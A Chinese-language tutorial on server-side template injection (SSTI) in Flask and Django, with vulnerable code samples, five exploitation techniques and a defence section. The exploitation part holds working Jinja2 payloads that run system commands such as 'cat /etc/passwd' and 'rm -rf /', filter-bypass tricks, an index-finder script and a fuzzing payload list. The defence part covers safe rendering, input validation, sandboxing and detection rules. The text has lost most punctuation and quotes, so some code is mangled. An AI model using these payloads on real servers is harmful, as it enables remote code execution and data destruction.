Flask和Django中的SSTI漏洞:5种常见利用方式及防御策略
Flask和Django中的SSTI漏洞5种常见利用方式及防御策略在Python Web开发领域Flask和Django作为两大主流框架其模板引擎的安全性问题一直备受关注。服务器端模板注入SSTI漏洞一旦被利用攻击者可以执行任意代码甚至完全控制服务器。本文将深入剖析五种典型的SSTI利用技术并给出可落地的防御方案。1. SSTI漏洞核心原理剖析模板引擎的设计初衷是将业务逻辑与展示层分离但不当的用户输入处理会导致模板代码被注入。以这段典型的危险代码为例# Flask危险示例 app.route(/vulnerable) def vulnerable(): name request.args.get(name) return render_template_string(fHello {name})当用户输入{{7*7}}时如果页面返回Hello 49就确认存在SSTI漏洞。其根本原因在于动态拼接直接将用户输入拼接到模板字符串沙箱逃逸Python的魔术方法如__class__可访问底层对象函数调用链通过方法链最终调用危险函数如os.system在Django中同样存在类似风险特别是使用Template类直接渲染用户输入时# Django危险示例 from django.template import Template def unsafe_view(request): template Template(request.GET.get(template)) return HttpResponse(template.render())2. 五种典型攻击链构建方法2.1 基础类属性遍历攻击这是最经典的SSTI利用方式通过Python对象原型链访问危险函数.__class__.__base__.__subclasses__()[128].__init__.__globals__[popen](whoami).read()关键步骤分解.__class__获取字符串对象的类__base__找到基类object__subclasses__()列出所有子类定位包含os模块的类如_wrap_close通过__globals__访问全局命名空间2.2 内置函数直接调用利用__builtins__模块中的高危函数{{ .__class__.__base__.__subclasses__()[75].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls).read()) }}常见危险内置函数包括函数风险等级典型利用eval高危执行任意Python代码exec高危执行代码块import中高危动态导入模块open中危文件系统访问2.3 Flask特殊上下文利用Flask提供的模板全局对象可能成为攻击入口{{ lipsum.__globals__[os].system(rm -rf /) }} {{ config.__class__.__init__.__globals__[os].popen(cat /etc/passwd).read() }}需要特别注意的Flask内置对象request包含所有请求数据session服务器端会话存储config应用配置信息g全局请求上下文2.4 过滤器绕过技术当常规{{}}被过滤时可以尝试{% with a request.application.__globals__ %} {{ a.__builtins__.eval(import(os).system(whoami)) }} {% endwith %}常用绕过技巧使用{% %}控制块替代插值表达式字符串拼接{{ .__class__ }}→{{ [__class__] }}十六进制编码{{ [\x5f\x5fclass\x5f\x5f] }}属性链截断{{ (request|attr(application)).__globals__ }}2.5 内存地址直接访问在已知目标环境的情况下可直接通过内存地址访问{{ ().__class__.__base__.__subclasses__()[140].__init__.__globals__[sys].modules[os].popen(id).read() }}定位特定类索引的实用脚本for i, cls in enumerate(.__class__.__base__.__subclasses__()): try: if os in cls.__init__.__globals__: print(fIndex {i}: {cls.__name__}) except: pass3. 框架特异性防御方案3.1 Flask安全实践模板层防护from flask import render_template_string import jinja2 def safe_render(template, **context): env jinja2.Environment(autoescapeTrue) env.globals.update(configNone, selfNone) # 移除危险全局变量 return env.from_string(template).render(**context)请求处理规范永远不要直接渲染用户输入对动态内容使用Markup标记from markupsafe import Markup app.route(/safe) def safe_route(): user_input Markup.escape(request.args.get(input)) return render_template_string({{ input }}, inputuser_input)3.2 Django加固措施模板使用准则# 安全做法 from django.template import Template, Context def safe_view(request): template Template(Hello {{ name }}) context Context({name: request.GET.get(name)}) return HttpResponse(template.render(context))中间件防护# settings.py MIDDLEWARE [ django.middleware.security.SecurityMiddleware, django.middleware.common.BrokenLinkEmailsMiddleware ] TEMPLATES [{ OPTIONS: { autoescape: True, string_if_invalid: [INVALID], # 禁用调试信息 } }]4. 通用防御体系构建4.1 输入验证策略实施多层过滤机制白名单校验import re def validate_input(input_str): if not re.match(r^[a-zA-Z0-9\s]$, input_str): raise ValueError(Invalid characters detected)语义分析检测__class__等危险关键词禁止{{}}和{%%}等模板语法长度限制MAX_INPUT_LENGTH 100 if len(user_input) MAX_INPUT_LENGTH: abort(400)4.2 沙箱环境配置创建受限执行环境from RestrictedPython import compile_restricted safe_globals { __builtins__: { None: None, False: False, True: True, str: str, } } def safe_eval(code): byte_code compile_restricted(code, string, eval) return eval(byte_code, safe_globals)关键限制措施移除__import__、eval等危险函数禁用属性访问魔术方法限制模块导入白名单4.3 监控与应急响应日志监控配置示例# logging.conf [handlers] keysconsole,file [formatters] keysdetailed [logger_root] levelINFO handlersconsole,file [handler_file] classhandlers.RotatingFileHandler levelWARNING formatterdetailed args(/var/log/security.log, a, 1000000, 5)入侵检测规则示例alert tcp any any - $HTTP_SERVERS 80 (msg:Possible SSTI Attack; content:__class__; content:__globals__; threshold:type threshold, track by_src, count 3, seconds 60; sid:1000001;)5. 安全开发生命周期实践5.1 代码审计要点危险模式检查清单直接拼接用户输入到模板使用render_template_string等动态方法未经验证的eval()/exec()调用模板中暴露config等敏感对象自动化扫描工具# 使用Bandit进行静态分析 bandit -r ./ --skip B101,B104 # Semgrep规则示例 rules: - id: flask-ssti pattern: render_template_string($input) message: Potential SSTI vulnerability5.2 持续安全测试方案测试用例设计import pytest from app import create_app pytest.fixture def client(): app create_app() return app.test_client() def test_ssti_protection(client): response client.get(/render?name{{7*7}}) assert b49 not in response.data模糊测试策略准备Payload字典__class__ {{config}} {% for x in ().__class__.__base__.__subclasses__() %}自动化测试脚本import requests with open(ssti_payloads.txt) as f: for payload in f: r requests.get(fhttp://test.com/?input{payload}) if os.system in r.text: raise SecurityAlert(fSSTI vulnerability found: {payload})在项目初期就引入安全考量通过代码审查、自动化扫描和渗透测试构建多层防御。实际项目中我们曾通过静态分析在CI阶段拦截了23处潜在SSTI风险点相比事后修复节省了约80%的成本。